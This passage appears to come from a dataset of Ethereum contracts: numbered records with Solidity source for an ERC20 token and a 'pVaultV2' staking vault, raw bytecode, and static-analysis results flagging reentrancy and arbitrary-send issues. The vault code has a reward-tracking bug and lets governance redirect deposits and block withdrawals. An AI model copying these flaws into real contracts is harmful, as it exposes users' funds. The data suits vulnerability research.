4908361194b565b6007556008546119f49082611583565b6008555050565b6000808080611a0f606461116e8989611504565b90506000611a22606461116e8a89611504565b90506000611a3a82611a348b8661194b565b9061194b565b9992985090965090945050505050565b6000808080611a598886611504565b90506000611a678887611504565b90506000611a758888611504565b90506000611a8782611a34868661194b565b939b939a50919850919650505050505050565b600060208284031215611aab578081fd5b813561135881611da7565b600060208284031215611ac7578081fd5b815161135881611da7565b60008060408385031215611ae4578081fd5b8235611aef81611da7565b91506020830135611aff81611da7565b809150509250929050565b600080600060608486031215611b1e578081fd5b8335611b2981611da7565b92506020840135611b3981611da7565b929592945050506040919091013590565b60008060408385031215611b5c578182fd5b8235611b6781611da7565b946020939093013593505050565b600060208284031215611b86578081fd5b813561135881611dbc565b600060208284031215611ba2578081fd5b815161135881611dbc565b600060208284031215611bbe578081fd5b5035919050565b600080600060608486031215611bd9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c1e57858101830151858201604001528201611c02565b81811115611c2f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cc95784516001600160a01b031683529383019391830191600101611ca4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cfd57611cfd611d7b565b500190565b600082611d1157611d11611d91565b500490565b6000816000190483118215151615611d3057611d30611d7b565b500290565b600082821015611d4757611d47611d7b565b500390565b6000600019821415611d6057611d60611d7b565b5060010190565b600082611d7657611d76611d91565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461063b57600080fd5b801515811461063b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203228711c3d120a48f7e2a037de81429ba0554b7a79323734e2b8d3f567220ca264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
449
0xcaead5f436b07a2ac6aa39175974a6640c5b3f30
pragma solidity 0.5.0; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } contract WCQ is ERC20 { string public constant name = "WACDAQ"; string public constant symbol = "WCQ"; uint8 public constant decimals = 8; constructor() public { address _account = 0x9e812e83Da061Fd852BcFF150f47d3C22932e203; uint256 _amount = 1000000000 * 100000000; // 1 000 000 000 * 10e8 _mint(_account, _amount); } }
0x6080604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461018a57806323b872dd146101b1578063313ce567146101f4578063395093511461021f57806370a082311461025857806395d89b411461028b578063a457c2d7146102a0578063a9059cbb146102d9578063dd62ed3e14610312575b600080fd5b3480156100bf57600080fd5b506100c861034d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101025781810151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014957600080fd5b506101766004803603604081101561016057600080fd5b50600160a060020a038135169060200135610384565b604080519115158252519081900360200190f35b34801561019657600080fd5b5061019f610402565b60408051918252519081900360200190f35b3480156101bd57600080fd5b50610176600480360360608110156101d457600080fd5b50600160a060020a03813581169160208101359091169060400135610408565b34801561020057600080fd5b506102096104d1565b6040805160ff9092168252519081900360200190f35b34801561022b57600080fd5b506101766004803603604081101561024257600080fd5b50600160a060020a0381351690602001356104d6565b34801561026457600080fd5b5061019f6004803603602081101561027b57600080fd5b5035600160a060020a0316610586565b34801561029757600080fd5b506100c86105a1565b3480156102ac57600080fd5b50610176600480360360408110156102c357600080fd5b50600160a060020a0381351690602001356105d8565b3480156102e557600080fd5b50610176600480360360408110156102fc57600080fd5b50600160a060020a038135169060200135610623565b34801561031e57600080fd5b5061019f6004803603604081101561033557600080fd5b50600160a060020a0381358116916020013516610639565b60408051808201909152600681527f5741434441510000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561039b57600080fd5b336000818152600160209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b600160a060020a038316600090815260016020908152604080832033845290915281205461043c908363ffffffff61066416565b600160a060020a038516600090815260016020908152604080832033845290915290205561046b848484610679565b600160a060020a0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600881565b6000600160a060020a03831615156104ed57600080fd5b336000908152600160209081526040808320600160a060020a0387168452909152902054610521908363ffffffff61074616565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600381527f5743510000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156105ef57600080fd5b336000908152600160209081526040808320600160a060020a0387168452909152902054610521908363ffffffff61066416565b6000610630338484610679565b50600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b60008282111561067357600080fd5b50900390565b600160a060020a038216151561068e57600080fd5b600160a060020a0383166000908152602081905260409020546106b7908263ffffffff61066416565b600160a060020a0380851660009081526020819052604080822093909355908416815220546106ec908263ffffffff61074616565b600160a060020a038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008282018381101561075857600080fd5b939250505056fea165627a7a72305820346284689fb668037dc6135986dc7521a4a31d8f1406c8dd37b19165a31f0ad20029
{"success": true, "error": null, "results": {}}
450
0xe7e21475ac5b6a5018c90d4a230503f0efcb3ba7
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{ value : amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pVaultV2 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct Reward { uint256 amount; uint256 timestamp; uint256 totalDeposit; } mapping(address => uint256) public _lastCheckTime; mapping(address => uint256) public _rewardBalance; mapping(address => uint256) public _depositBalances; uint256 public _totalDeposit; Reward[] public _rewards; string public _vaultName; IERC20 public token0; IERC20 public token1; address public feeAddress; address public vaultAddress; uint32 public feePermill = 5; uint256 public delayDuration = 7 days; bool public withdrawable; address public gov; uint256 public _rewardCount; event SentReward(uint256 amount); event Deposited(address indexed user, uint256 amount); event ClaimedReward(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) { token0 = IERC20(_token0); token1 = IERC20(_token1); feeAddress = _feeAddress; vaultAddress = _vaultAddress; _vaultName = name; gov = msg.sender; } modifier onlyGov() { require(msg.sender == gov, "!governance"); _; } function setGovernance(address _gov) external onlyGov { gov = _gov; } function setToken0(address _token) external onlyGov { token0 = IERC20(_token); } function setToken1(address _token) external onlyGov { token1 = IERC20(_token); } function setFeeAddress(address _feeAddress) external onlyGov { feeAddress = _feeAddress; } function setVaultAddress(address _vaultAddress) external onlyGov { vaultAddress = _vaultAddress; } function setFeePermill(uint32 _feePermill) external onlyGov { feePermill = _feePermill; } function setDelayDuration(uint32 _delayDuration) external onlyGov { delayDuration = _delayDuration; } function setWithdrawable(bool _withdrawable) external onlyGov { withdrawable = _withdrawable; } function setVaultName(string memory name) external onlyGov { _vaultName = name; } function balance0() external view returns (uint256) { return token0.balanceOf(address(this)); } function balance1() external view returns (uint256) { return token1.balanceOf(address(this)); } function getReward(address userAddress) internal { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (lastCheckTime > 0 && _rewards.length > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } _rewardBalance[userAddress] = rewardBalance; _lastCheckTime[msg.sender] = block.timestamp; } function deposit(uint256 amount) external { getReward(msg.sender); uint256 feeAmount = amount.mul(feePermill).div(1000); uint256 realAmount = amount.sub(feeAmount); if (feeAmount > 0) { token0.safeTransferFrom(msg.sender, feeAddress, feeAmount); } if (realAmount > 0) { token0.safeTransferFrom(msg.sender, vaultAddress, realAmount); _depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount); _totalDeposit = _totalDeposit.add(realAmount); emit Deposited(msg.sender, realAmount); } } function withdraw(uint256 amount) external { require(token0.balanceOf(address(this)) > 0, "no withdraw amount"); require(withdrawable, "not withdrawable"); getReward(msg.sender); if (amount > _depositBalances[msg.sender]) { amount = _depositBalances[msg.sender]; } require(amount > 0, "can't withdraw 0"); token0.safeTransfer(msg.sender, amount); _depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount); _totalDeposit = _totalDeposit.sub(amount); emit Withdrawn(msg.sender, amount); } function sendReward(uint256 amount) external { require(amount > 0, "can't reward 0"); require(_totalDeposit > 0, "totalDeposit must bigger than 0"); token1.safeTransferFrom(msg.sender, address(this), amount); Reward memory reward; reward = Reward(amount, block.timestamp, _totalDeposit); _rewards.push(reward); emit SentReward(amount); } function claimReward(uint256 amount) external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); if (amount > rewardLimit) { amount = rewardLimit; } _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount); token1.safeTransfer(msg.sender, amount); } function claimRewardAll() external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit); token1.safeTransfer(msg.sender, rewardLimit); } function getRewardAmount(address userAddress) public view returns (uint256) { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (_rewards.length > 0) { if (lastCheckTime > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) { uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit); timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration); rewardBalance = rewardBalance.sub(timedAmount); if (j == 0) break; } } return rewardBalance; } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063adc3b31b1161010f578063c6e426bd116100a2578063d86e1ef711610071578063d86e1ef714610579578063e2aa2a851461059c578063e4186aa6146105a4578063fab980b7146105ca576101f0565b8063c6e426bd1461050f578063c78b6dea14610535578063cbeb7ef214610552578063d21220a714610571576101f0565b8063b79ea884116100de578063b79ea884146104b6578063b8f6e841146104dc578063b8f79288146104e4578063c45c4f5814610507576101f0565b8063adc3b31b1461044e578063ae169a5014610474578063b5984a3614610491578063b6b55f2514610499576101f0565b806344264d3d1161018757806385535cc51161015657806385535cc5146103a15780638705fcd4146103c75780638f1e9405146103ed578063ab033ea914610428576101f0565b806344264d3d1461033657806344a040f514610357578063501883011461037d578063637830ca14610399576101f0565b806327b5b6a0116101c357806327b5b6a0146102e35780632e1a7d4d146103095780634127535814610326578063430bf08a1461032e576101f0565b80630dfe1681146101f557806311cc66b21461021957806312d43a51146102c15780631c69ad00146102c9575b600080fd5b6101fd610647565b604080516001600160a01b039092168252519081900360200190f35b6102bf6004803603602081101561022f57600080fd5b81019060208101813564010000000081111561024a57600080fd5b82018360208201111561025c57600080fd5b8035906020019184600183028401116401000000008311171561027e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610656945050505050565b005b6101fd6106bf565b6102d16106d3565b60408051918252519081900360200190f35b6102d1600480360360208110156102f957600080fd5b50356001600160a01b031661074f565b6102bf6004803603602081101561031f57600080fd5b5035610761565b6101fd61096d565b6101fd61097c565b61033e61098b565b6040805163ffffffff9092168252519081900360200190f35b6102d16004803603602081101561036d57600080fd5b50356001600160a01b031661099e565b610385610b41565b604080519115158252519081900360200190f35b6102bf610b4a565b6102bf600480360360208110156103b757600080fd5b50356001600160a01b0316610baa565b6102bf600480360360208110156103dd57600080fd5b50356001600160a01b0316610c1e565b61040a6004803603602081101561040357600080fd5b5035610c92565b60408051938452602084019290925282820152519081900360600190f35b6102bf6004803603602081101561043e57600080fd5b50356001600160a01b0316610cc5565b6102d16004803603602081101561046457600080fd5b50356001600160a01b0316610d3f565b6102bf6004803603602081101561048a57600080fd5b5035610d51565b6102d1610db9565b6102bf600480360360208110156104af57600080fd5b5035610dbf565b6102bf600480360360208110156104cc57600080fd5b50356001600160a01b0316610ec2565b6102d1610f36565b6102bf600480360360208110156104fa57600080fd5b503563ffffffff16610f3c565b6102d1610fb4565b6102bf6004803603602081101561052557600080fd5b50356001600160a01b0316610fff565b6102bf6004803603602081101561054b57600080fd5b5035611073565b6102bf6004803603602081101561056857600080fd5b50351515611214565b6101fd611279565b6102bf6004803603602081101561058f57600080fd5b503563ffffffff16611288565b6102d16112e5565b6102d1600480360360208110156105ba57600080fd5b50356001600160a01b03166112eb565b6105d26112fd565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561060c5781810151838201526020016105f4565b50505050905090810190601f1680156106395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6006546001600160a01b031681565b600b5461010090046001600160a01b031633146106a8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106bb906005906020840190611975565b5050565b600b5461010090046001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b505afa158015610732573d6000803e3d6000fd5b505050506040513d602081101561074857600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107ac57600080fd5b505afa1580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b50511161081f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610869576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108723361138b565b3360009081526002602052604090205481111561089b5750336000908152600260205260409020545b600081116108e3576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6006546108fa906001600160a01b03163383611493565b3360009081526002602052604090205461091490826114e5565b3360009081526002602052604090205560035461093190826114e5565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6008546001600160a01b031681565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610b3a578115610a9257600454600019015b600481815481106109e357fe5b906000526020600020906003020160010154831015610a9057610a7b610a7460048381548110610a0f57fe5b906000526020600020906003020160020154610a6e600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b600091825260209091206003909102015490611530565b90611589565b83906115cb565b915080610a8757610a90565b600019016109d6565b505b600454600019015b610acd600a5460048381548110610aad57fe5b9060005260206000209060030201600101546115cb90919063ffffffff16565b421015610b38576000610ae660048381548110610a0f57fe5b9050610b15600a54610a6e610b0e42610b08600a5460048981548110610aad57fe5b906114e5565b8490611530565b9050610b2183826114e5565b925081610b2e5750610b38565b5060001901610a9a565b505b9392505050565b600b5460ff1681565b610b533361138b565b6000610b5e3361099e565b33600090815260016020526040902054909150610b7b90826114e5565b33600081815260016020526040902091909155600754610ba7916001600160a01b039091169083611493565b50565b600b5461010090046001600160a01b03163314610bfc576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b5461010090046001600160a01b03163314610c70576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610ca257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600b5461010090046001600160a01b03163314610d17576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60016020526000908152604090205481565b610d5a3361138b565b6000610d653361099e565b905080821115610d73578091505b33600090815260016020526040902054610d8d90836114e5565b336000818152600160205260409020919091556007546106bb916001600160a01b039091169084611493565b600a5481565b610dc83361138b565b600954600090610df2906103e890610a6e90859063ffffffff600160a01b90910481169061153016565b90506000610e0083836114e5565b90508115610e2757600854600654610e27916001600160a01b039182169133911685611625565b8015610ebd57600954600654610e4c916001600160a01b039182169133911684611625565b33600090815260026020526040902054610e6690826115cb565b33600090815260026020526040902055600354610e8390826115cb565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600b5461010090046001600160a01b03163314610f14576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600b5461010090046001600160a01b03163314610f8e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b600b5461010090046001600160a01b03163314611051576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116110b9576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611110576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600754611128906001600160a01b0316333084611625565b611130611a01565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a15050565b600b5461010090046001600160a01b03163314611266576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600b5461010090046001600160a01b031633146112da576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b600c5481565b60026020526000908152604090205481565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156113835780601f1061135857610100808354040283529160200191611383565b820191906000526020600020905b81548152906001019060200180831161136657829003601f168201915b505050505081565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906113be575060045415155b1561146357600454600019015b600481815481106113d857fe5b9060005260206000209060030201600101548310156114615761144c610a746004838154811061140457fe5b906000526020600020906003020160020154610a6e60026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b91508061145857611461565b600019016113cb565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ebd908490611685565b600061152783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061183d565b90505b92915050565b60008261153f5750600061152a565b8282028284828161154c57fe5b04146115275760405162461bcd60e51b8152600401808060200182810382526021815260200180611a386021913960400191505060405180910390fd5b60006115